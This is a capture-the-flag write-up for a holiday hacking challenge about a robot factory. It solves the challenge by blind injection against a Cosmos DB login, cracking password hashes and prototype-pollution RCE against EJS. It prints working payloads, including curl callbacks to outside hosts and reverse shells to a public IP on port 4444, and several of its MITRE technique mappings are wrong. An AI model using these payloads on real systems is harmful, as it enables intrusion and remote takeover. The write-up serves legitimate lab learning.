Objective: Hack-a-Gnome Difficulty Level: 3
Davis in the Data Center is fighting a gnome army-join the hack-a-gnome fun. Location: Data Center

Solution Overview

SQL injection was used to identify the database type, and then map the structure and contents of the table. This yielded two users and the associated password hashes. The hashes were known and were cracked using crackstation.net. This allowed for login to the application. The hint indicated that the statistics panel used a template. Node.js was identified using server response headers. Embedded JavaScript Templating (EJS) is the most popular template package for use with node.js, and it is vulnerable to remote code execution (RCE) from prototype pollution. Polluting the prototype with a remote shell payload gave access to the server. Once connected, a README.md file was located that mapped the code structure of the controller area network (CAN) bus. Assuming that the direction commands were in their own command range, and that the range started at the beginning of either the 2XX or 5XX range (because they were adjacent to the defined ranges). This allowed for the identification of the correct codes. Once corrected, the robot was manuevered through the maze to the power switch and the factory was powered down.

Activity Primary Tactic MITRE ATT&CK Technique ID MITRE ATT&CK Technique Name
Determine database type using SQL injection Discovery T1596.005 Application Layer Protocol: SQL
Determine database structure using SQL injection Discovery T1596.005 Application Layer Protocol: SQL (used to enumerate schema, tables, columns)
Determine usernames and password hashes using SQL injection Credential Access T1078 (Valid Accounts) Credentials from Databases
Crack password hashes Credential Access T1110.002 Password Cracking
Remote code execution from prototype pollution Execution T1203 Exploitation for Client Execution
Decode CAN bus signals Discovery T1595 Protocol Analysis

Detailed Solution

Click to expand

Starting with the login page, tested several injections attempting to identify the backend database. This NoSQL injection {“$ne”: null} creates an error:

Hack-a-Gnome Database Error

The error message indicates the application is using Azure Cosmos DB!

Key Indicators:

  1. Microsoft.Azure.Documents.Common/2.14.0 - This is the Azure Cosmos DB SDK
  2. ActivityId - Cosmos DB uses ActivityIds for tracking queries
  3. Error code SC1010 - Cosmos DB-specific error code
  4. "invalid token '$'" - triggered a syntax error in Cosmos DB's SQL-like query language

About Cosmos DB:

Using the register functionality, it is possible to search for users using the syntax '" OR STARTWITH(c.username, "b") by observing the system response. If username starts with the string, the error message is "Username is taken". If it doesnt startwith the string, then the message is "Username is available". This pattern can be used to identify two users: bruce and harold.

Hack-a-Gnome User Identification

Using similar injection techniques, it is possible to map the database structure.

Using trial and error, the length of the digest can be determined using the injection: 'harold" AND Length(c.digest) = 32--'

Hack-a-Gnome Password Digest Length

The digest can only consist of a limited number of characters: 0-9 and a-f.

Using the injection 'harold" AND STARTSWITH(c.digest) = "0"', it is possible to retrieve both digests.

Hack-a-Gnome Password Digest

Bruce digest: d0a9ba00f80cbc56584ef245ffc56b9e

Harold digest: 07f456ae6a94cb68d740df548847f459

Using crackstation.net, it is possible to crack both hashes and retrieve the passwords.

Hack-a-Gnome Password Digest Crack

Bruce password: oatmeal12

Harold password: oatmeal!!

Once logged in we are presented with the Smart Gnome Control Center as Bruce:

The hint indicates that we should be attempting prototype pollution of the statistics panel.

Hack-a-Gnome Password Statistics Panel

The following reference is helpful for understanding prototye polution: https://www.youtube.com/watch?v=W9_x8pc_bh8

Testing prototype pollution:

Key:__proto__

Subkey: toString

Value: a

Message: message=%7B%22action%22%3A%22update%22%2C%22key%22%3A%22__proto__%22%2C%22subkey%22%3A%22toString%22%2C%22value%22%3A%22a%22%7D

This request is sent to the application using Burp:

Hack-a-Gnome PrototypePollution

The request results in a broken application, which indicates the application is vulnerable to prototype pollution.

Hack-a-Gnome PrototypePollutionSuccess

We need to determine how to exploit prototype pollution to give more than an error. Server Headers indicate “Express” which is Node.js. The hint indicates that there are backend templates. Googling "what is the most common template package used with Node.js" indicates that EJS is the most popular package. EJS is also be susceptible to RCE using prototype pollution.

This is the payload:


{
  "action": "update",
  "key": "__proto__",
  "subkey": "outputFunctionName",
  "value": "x;process.mainModule.require('child_process').execSync('curl http://YOUR-SERVER');s"
}

URL Encoded:


message=%7B%22action%22%3A%22update%22%2C%22key%22%3A%22__proto__%22%2C%22subkey%22%3A%22outputFunctionName%22%2C%22value%22%3A%22x%3Bprocess.mainModule.require('child_process').execSync('curl%20http%3A%2F%2FYOUR-SERVER')%3Bs%22%7D

Payload that uses webhook.site as a sensor:


message=%7B%22action%22%3A%22update%22%2C%22key%22%3A%22__proto__%22%2C%22subkey%22%3A%22outputFunctionName%22%2C%22value%22%3A%22x%3Bprocess.mainModule.require('child_process').execSync('curl%20https%3A%2F%2Fwebhook.site%2Ff3bc21bc-b85f-4bb1-9bf2-bd4ac5767b96')%3Bs%22%7D

Webhook detects the connection:

Hack-a-Gnome Webhook Connection

Weaponizing with Node.JS reverse shell:


{
  "action": "update",
  "key": "__proto__",
  "subkey": "outputFunctionName",
  "value": "x;require('child_process').exec('node -e \\'require(\"net\").connect({port:4444,host:\"173.255.237.30 \"},function(){this.pipe(require(\"child_process\").spawn(\"/bin/sh\",[]).stdin);require(\"child_process\").spawn(\"/bin/sh\",[]).stdout.pipe(this);})\\'');s"
}

Setup a linode linux system with a public IP and a listener on port 4444 to catch the shell.

The message payload for the shell:


message=%7B%22action%22%3A%22update%22%2C%22key%22%3A%22__proto__%22%2C%22subkey%22%3A%22outputFunctionName%22%2C%22value%22%3A%22x%3Bprocess.mainModule.require('child_process').execSync('bash%20-c%20%5C%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F173.255.237.30%2F4444%200%3E%261%5C%22')%3Bs%22%7D

Hack-a-Gnome Reverse Shell

Once the payload is sent, trigger a refresh in the application to load the payload (change name + refresh).

The README.md shows that CAN IDs are grouped by type or purpose. 400 codes are requests, 300 codes are status. It is reasonable to assume that commands are a separate group, either 200 or 500 codes.Lets start with 200, and assume they are sequential. Let’s start with 200-204. While the shell is active, it is not possible to get any feedback to commands. The process is to connect, change the python file, disconnect, and then test.


sed -i 's/0x244/0x200/g' canbus_client.py   # up
sed -i 's/0x245/0x201/g' canbus_client.py   # down
sed -i 's/0x246/0x202/g' canbus_client.py   # left
sed -i 's/0x247/0x203/g' canbus_client.py   # right

Trial and error reveals the codes:

With control of the robot, boxes need to be moved so the power switch can be reached. The robot can only move a single box, so that limits the path.

Hack-a-Gnome Solution

Answer: Reach the power switch and shut down the factory

Tools Reference

Tools Used Tool Version
crackstation.net N/A
Burp Suite Community Edition v2024.11.2
Claude.ai 4.5
Linux Linode System Ubuntu 24.04 LTS
Webhook.net N/A
sed v4.9

Hints Reference

Provided By Hint
Santa Sometimes, client-side code can interfere with what you submit. Try proxying your requests through a tool like Burp Suite or OWASP ZAP. You might be able to trigger a revealing error message.
Santa Oh no, it sounds like the CAN bus controls are not sending the correct signals! If only there was a way to hack into your gnome's control stats/signal container to get command-line access to the smart-gnome. This would allow you to fix the signals and control the bot to shut down the factory. During my development of the robotic prototype, we found the factory's pollution to be undesirable, which is why we shut it down. If not updated since then, the gnome might be running on old and outdated packages.
Santa I actually helped design the software that controls the factory back when we used it to make toys. It's quite complex. After logging in, there is a front-end that proxies requests to two main components: a backend Statistics page, which uses a per-gnome container to render a template with your gnome's stats, and the UI, which connects to the camera feed and sends control signals to the factory, relaying them to your gnome (assuming the CAN bus controls are hooked up correctly). Be careful, the gnomes shutdown if you logout and also shutdown if they run out of their 2-hour battery life (which means you'd have to start all over again).
Santa There might be a way to check if an attribute IS_DEFINED on a given entry. This could allow you to brute-force possible attribute names for the target user's entry, which stores their password hash. Depending on the hash type, it might already be cracked and available online where you could find an online cracking station to break it.
Santa Once you determine the type of database the gnome control factory's login is using, look up its documentation on default document types and properties. This information could help you generate a list of common English first names to try in your attack.
Santa Nice! Once you have command-line access to the gnome, you'll need to fix the signals in the canbus_client.py file so they match up correctly. After that, the signals you send through the web UI to the factory should properly control the smart-gnome. You could try sniffing CAN bus traffic, enumerating signals based on any documentation you find, or brute-forcing combinations until you discover the right signals to control the gnome from the web UI.
Chris Hey, I could really use another set of eyes on this gnome takeover situation. Their systems have multiple layers of protection now - database authentication, web application vulnerabilities, and more! But every system has weaknesses if you know where to look. Ready to help me turn one of these rebellious bots against its own kind?

Acknowledgements

Provided By Notes
fluffme Gave me clues about using server side java for prototype pollution. Suggested using Webhook and Linode for testing connections and then establishing them. This allowed me to solve the challenge without changing my machine's security posture.